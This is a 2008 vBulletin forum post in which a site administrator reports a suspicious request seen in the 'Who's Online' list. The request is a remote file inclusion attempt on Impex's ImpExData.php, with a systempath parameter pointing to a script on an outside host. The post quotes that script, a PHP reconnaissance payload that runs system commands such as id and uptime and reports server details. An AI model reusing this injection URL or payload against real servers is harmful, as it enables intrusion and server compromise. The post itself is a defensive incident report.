View Single Post
  #1  
Old 07-25-2008, 01:59 PM
Quarterbore Quarterbore is offline
 
Join Date: Mar 2005
Location: Valley Forge PA
Posts: 538
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default Very Strange Location on WHO's Online

What do you make of this:

Quote:
Unknown Location
/index.php/impex/ImpExData.php?systempath=http://www.symbols-larp.com/inschrijven/symbols7/log/logfile.txt??
IP: 213.168.176.11 (details joe.mlboleslav.cz)

I checked and I don't have IMPEX on my server but it sure looks fishy to me!

I expect it may well be a random spam bot but I am not that famaliar with the Impex install code so I figured I would report this in case it may be a potential issue.

I will have to trace the code later.

The file that was linked to is this:

PHP Code:
<?php
function ConvertBytes($number)
{
        
$len strlen($number);
        if(
$len 4)
        {
                return 
sprintf("%d b"$number);
        }
        if(
$len >= && $len <=6)
        {
                return 
sprintf("%0.2f Kb"$number/1024);
        }
        if(
$len >= && $len <=9)
        {
                return 
sprintf("%0.2f Mb"$number/1024/1024);
        }
   
        return 
sprintf("%0.2f Gb"$number/1024/1024/1024);
                           
}

echo 
"netcat<br>";
$un = @php_uname();
$up system(uptime);
$id1 system(id);
$pwd1 = @getcwd();
$sof1 getenv("SERVER_SOFTWARE");
$php1 phpversion();
$name1 $_SERVER['SERVER_NAME'];
$ip1 gethostbyname($SERVER_ADDR);
$free1diskfreespace($pwd1);
$free ConvertBytes(diskfreespace($pwd1));
if (!
$free) {$free 0;}
$all1disk_total_space($pwd1);
$all ConvertBytes(disk_total_space($pwd1));
if (!
$all) {$all 0;}
$used ConvertBytes($all1-$free1);
$os = @PHP_OS;


echo 
"netcat<br>";
echo 
"uname -a: $un<br>";
echo 
"os: $os<br>";
echo 
"uptime: $up<br>";
echo 
"id: $id1<br>";
echo 
"pwd: $pwd1<br>";
echo 
"php: $php1<br>";
echo 
"software: $sof1<br>";
echo 
"server-name: $name1<br>";
echo 
"server-ip: $ip1<br>";
echo 
"free: $free<br>";
echo 
"used: $used<br>";
echo 
"total: $all<br>";
exit;
--------------- Added [DATE]1217002175[/DATE] at [TIME]1217002175[/TIME] ---------------

OK, here is the explanation:

http://www.vbulletin.com/forum/showthread.php?t=271270

Make sure you don't leave Impex on your servers!
Reply With Quote
 
X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.01771 seconds
  • Memory Usage 1,800KB
  • Queries Executed 11 (?)
More Information
Template Usage:
  • (1)SHOWTHREAD_SHOWPOST
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (1)bbcode_php
  • (1)bbcode_quote
  • (1)footer
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (6)option
  • (1)post_thanks_box
  • (1)post_thanks_button
  • (1)post_thanks_javascript
  • (1)post_thanks_navbar_search
  • (1)post_thanks_postbit_info
  • (1)postbit
  • (1)postbit_onlinestatus
  • (1)postbit_wrapper
  • (1)spacer_close
  • (1)spacer_open 

Phrase Groups Available:
  • global
  • postbit
  • reputationlevel
  • showthread
Included Files:
  • ./showpost.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/functions_bigthree.php
  • ./includes/class_postbit.php
  • ./includes/class_bbcode.php
  • ./includes/functions_reputation.php
  • ./includes/functions_post_thanks.php 

Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_postinfo_query
  • fetch_postinfo
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • showpost_start
  • bbcode_fetch_tags
  • bbcode_create
  • postbit_factory
  • showpost_post
  • postbit_display_start
  • post_thanks_function_post_thanks_off_start
  • post_thanks_function_post_thanks_off_end
  • post_thanks_function_fetch_thanks_start
  • post_thanks_function_fetch_thanks_end
  • post_thanks_function_thanked_already_start
  • post_thanks_function_thanked_already_end
  • fetch_musername
  • postbit_imicons
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • postbit_display_complete
  • post_thanks_function_can_thank_this_post_start
  • showpost_complete